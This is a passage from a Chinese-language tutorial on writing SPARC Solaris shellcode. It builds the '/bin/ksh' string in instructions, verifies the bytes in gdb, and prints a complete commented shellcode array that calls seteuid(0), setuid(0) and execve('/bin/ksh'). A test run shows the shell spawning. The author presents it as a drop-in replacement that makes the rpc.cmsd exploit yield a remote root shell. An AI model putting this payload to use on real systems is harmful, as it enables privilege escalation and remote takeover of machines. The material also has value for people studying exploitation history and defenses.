0x6e 0x2f 0x6b 0x73 0x68 0x00。二进制表示是00101111 01100010 01101001
01101110 00101111 01101011 01110011 01101000 00000000。前22bit等于0xbd89a,
接下来的10bit等于0x16e,再下来的22bit等于0xbdadc,最后的10bit等于0x368,需
要用or指令处理一下。我们把这些汇编指令放入一个main函数,编译后用gdb取得最
后的机器码

--------------------------------------------------------------------------
/* getcode.c */
int main ()
{
    __asm__
    ("
        sethi 0xbd89a, %l6
        or %l6, 0x16e, %l6
        sethi 0xbdadc, %l7
        or %l7, 0x368, %l7
    ");
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > getcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o getcode getcode.c
[scz@ /space/staff/scz/src]> gdb getcode
GNU gdb 4.18
This GDB was configured as "sparc-sun-solaris2.7"...
(gdb) disas main
Dump of assembler code for function main:
0x101b8 <main>   :      save  %sp, -112, %sp
0x101bc <main+4> :      sethi  %hi(0x2f626800), %l6
0x101c0 <main+8> :      or  %l6, 0x16e, %l6     ! 0x2f62696e
0x101c4 <main+12>:      sethi  %hi(0x2f6b7000), %l7
0x101c8 <main+16>:      or  %l7, 0x368, %l7     ! 0x2f6b7368
0x101cc <main+20>:      ret
0x101d0 <main+24>:      restore
End of assembler dump.
(gdb) x/16bx main+4
0x101bc <main+4>:       0x2d    0x0b    0xd8    0x9a    0xac    0x15    0xa1    0x6e
0x101c4 <main+12>:      0x2f    0x0b    0xda    0xdc    0xae    0x15    0xe3    0x68
(gdb) q
[scz@ /space/staff/scz/src]>

最终修改如下:

--------------------------------------------------------------------------
"\x2d\x0b\xd8\x9a"  /* sethi 0xbd89a, %l6          */
"\xac\x15\xa1\x6e"  /* or %l6, 0x16e, %l6 - "/bin" */
"\x2f\x0b\xda\xdc"  /* sethi 0xbdadc, %l7          */
"\xae\x15\xe3\x68"  /* or %l7, 0x368, %l7 - "/ksh" */
--------------------------------------------------------------------------

只要用这四条语句代替那个版本中的相应语句,就可以远程溢出使用/bin/ksh了。

10. 使用/bin/ksh的shellcode

char ksh_code[] =
    "\x90\x08\x3f\xff"   /* and   %g0, -1, %o0       ! 0 in o0                                  */
    "\x82\x10\x20\x8d"   /* mov   0x8d, %g1          ! 0x8d==141==SYS_seteuid in g1             */
    "\x91\xd0\x20\x08"   /* ta    8                  ! seteuid(0);                              */
    "\x90\x08\x3f\xff"   /* and   %g0, -1, %o0       ! 0 in o0                                  */
    "\x82\x10\x20\x17"   /* mov   0x17, %g1          ! 0x17==23==SYS_setuid in g1               */
    "\x91\xd0\x20\x08"   /* ta    8                  ! setuid(0);                               */
    "\x2d\x0b\xd8\x9a"   /* sethi 0xbd89a, %l6                                                  */
    "\xac\x15\xa1\x6e"   /* or    %l6, 0x16e, %l6    ! "/bin"                                   */
    "\x2f\x0b\xda\xdc"   /* sethi 0xbdadc, %l7                                                  */
    "\xae\x15\xe3\x68"   /* or    %l7, 0x368, %l7    ! "/ksh"                                   */
    "\x90\x0b\x80\x0e"   /* and   %sp, %sp, %o0      ! addr of "/bin/ksh" in o0                 */
    "\x92\x03\xa0\x0c"   /* add   %sp, 0xc, %o1      ! addr of ptr->"/bin/ksh" o1               */
    "\x94\x1a\x80\x0a"   /* xor   %o2, %o2, %o2      ! 0 in o2 (envp)                           */
    "\x9c\x03\xa0\x14"   /* add   %sp, 0x14, %sp     ! (0x14==20) give space                    */
    "\xec\x3b\xbf\xec"   /* std   %l6, [ %sp + -20 ] ! store "/bin/ksh"                         */
    "\xc0\x23\xbf\xf4"   /* clr   [ %sp + -12 ]      ! null term "/bin/ksh"                     */
    "\xdc\x23\xbf\xf8"   /* st    %sp, [ %sp + -8 ]  ! make ptr->"/bin/ksh"                     */
    "\xc0\x23\xbf\xfc"   /* clr   [ %sp + -4 ]       ! null term ptr array (argv)               */
    "\x82\x10\x20\x3b"   /* mov   0x3b, %g1          ! 0x3b==59==SYS_execve in g1               */
    "\x91\xd0\x20\x08"   /* ta    8                  ! execve(&"/bin/ksh",&(ptr->"/bin/ksh"),0) */
    "\x90\x1b\xc0\x0f"   /* xor   %o7, %o7, %o0      ! 0 in o0                                  */
    "\x82\x10\x20\x01"   /* mov   1, %g1             ! 1==SYS_exit in g1                        */
    "\x91\xd0\x20\x08";  /* ta    8                  ! _exit(0)                                 */

我们来验证一下这个shellcode是否成功提供了/bin/ksh:

--------------------------------------------------------------------------
/* kshcode.c */
int main ()
{
    __asm__
    ("
        and   %g0, -1, %o0       ! 0 in o0
        mov   0x8d, %g1          ! 0x8d==141==SYS_seteuid in g1
        ta    8                  ! seteuid(0);
        and   %g0, -1, %o0       ! 0 in o0
        mov   0x17, %g1          ! 0x17==23==SYS_setuid in g1
        ta    8                  ! setuid(0);
        sethi 0xbd89a, %l6
        or    %l6, 0x16e, %l6    ! /bin
        sethi 0xbdadc, %l7
        or    %l7, 0x368, %l7    ! /ksh
        and   %sp, %sp, %o0      ! addr of /bin/ksh in o0
        add   %sp, 0xc, %o1      ! addr of ptr->/bin/ksh o1
        xor   %o2, %o2, %o2      ! 0 in o2 (envp)
        add   %sp, 0x14, %sp     ! (0x14==20) give space
        std   %l6, [ %sp + -20 ] ! store /bin/ksh
        clr   [ %sp + -12 ]      ! null term /bin/ksh
        st    %sp, [ %sp + -8 ]  ! make ptr->/bin/ksh
        clr   [ %sp + -4 ]       ! null term ptr array (argv)
        mov   0x3b, %g1          ! 0x3b==59==SYS_execve in g1
        ta    8                  ! execve(&/bin/ksh,&(ptr->/bin/ksh),0)
        xor   %o7, %o7, %o0      ! 0 in o0
        mov   1, %g1             ! 1==SYS_exit in g1
        ta    8                  ! _exit(0)
    ");
}  /* end of main */
--------------------------------------------------------------------------

[scz@ /space/staff/scz/src]> cat > kshcode.c
[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o kshcode kshcode.c
[scz@ /space/staff/scz/src]> ./kshcode
$ ps
   PID TTY      TIME CMD
  9820 pts/7    0:01 bash
10488 pts/7    0:00 ksh  <-- -- -- 已经成功提供了/bin/ksh
$ exit
[scz@ /space/staff/scz/src]>

所以,你只要用这个ksh_code替换rpc.cmsd exploit code中的shellcode,就可以远
程溢出取得root shell了。这个ksh_code的注释相当完善,是写自己shellcode的很
好的参考

后记:

    前次写RPC系列的时候有朋友问rpc.cmsd exploit code为什么不能取得
    root shell,这下该明白了吧。感谢可恶的tt不断催命,再次向alpha1
    致敬。

参考:

    aleph1 <<smashing stack for fun and profit>>
    rpc.cmsd exploit code
版权所有,未经许可,不得转载